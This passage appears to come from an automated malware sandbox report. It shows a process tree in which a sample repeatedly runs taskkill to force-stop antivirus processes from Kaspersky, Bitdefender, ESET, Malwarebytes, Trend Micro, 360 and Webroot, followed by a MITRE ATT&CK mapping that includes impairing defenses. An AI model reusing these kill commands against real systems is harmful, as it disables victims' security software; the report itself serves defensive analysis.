        Suspicious use of AdjustPrivilegeToken
        
        PID:5440
      - C:\Windows\SYSTEM32\taskkill.exe
        
        "taskkill.exe" /F /IM kav.exe /T
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1148
      - C:\Windows\SYSTEM32\taskkill.exe
        
        "taskkill.exe" /F /IM kaspersky.exe /T
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5008
      - C:\Windows\SYSTEM32\taskkill.exe
        
        "taskkill.exe" /F /IM bdagent.exe /T
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1104
      - C:\Windows\SYSTEM32\taskkill.exe
        
        "taskkill.exe" /F /IM ekrn.exe /T
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5428
      - C:\Windows\SYSTEM32\taskkill.exe
        
        "taskkill.exe" /F /IM egui.exe /T
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4128
      - C:\Windows\SYSTEM32\taskkill.exe
        
        "taskkill.exe" /F /IM mbam.exe /T
        6⤵
        Kills process with taskkill
        
        PID:4324
      - C:\Windows\SYSTEM32\taskkill.exe
        
        "taskkill.exe" /F /IM mbamservice.exe /T
        6⤵
        Kills process with taskkill
        
        PID:668
      - C:\Windows\SYSTEM32\taskkill.exe
        
        "taskkill.exe" /F /IM TMBMSRV.exe /T
        6⤵
        Kills process with taskkill
        
        PID:5988
      - C:\Windows\SYSTEM32\taskkill.exe
        
        "taskkill.exe" /F /IM PccNTMon.exe /T
        6⤵
        Kills process with taskkill
        
        PID:5808
      - C:\Windows\SYSTEM32\taskkill.exe
        
        "taskkill.exe" /F /IM 360tray.exe /T
        6⤵
        Kills process with taskkill
        
        PID:3584
      - C:\Windows\SYSTEM32\taskkill.exe
        
        "taskkill.exe" /F /IM 360sd.exe /T
        6⤵
        Kills process with taskkill
        
        PID:2240
      - C:\Windows\SYSTEM32\taskkill.exe
        
        "taskkill.exe" /F /IM WRSA.exe /T
        6⤵
        Kills process with taskkill
        
        PID:2484

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Hide Artifacts

T1564

Ignore Process Interrupts

T1564.011

Impair Defenses

T1562

Disable or Modify Tools

Modify Registry